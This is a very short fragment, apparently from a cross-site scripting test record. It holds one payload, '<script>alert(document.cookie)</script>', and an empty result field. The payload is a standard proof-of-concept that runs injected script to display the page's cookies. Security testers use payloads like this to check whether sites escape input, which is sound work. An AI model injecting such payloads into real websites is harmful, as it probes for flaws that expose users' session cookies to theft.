Payload: <script>alert(document.cookie)</script>  Result: 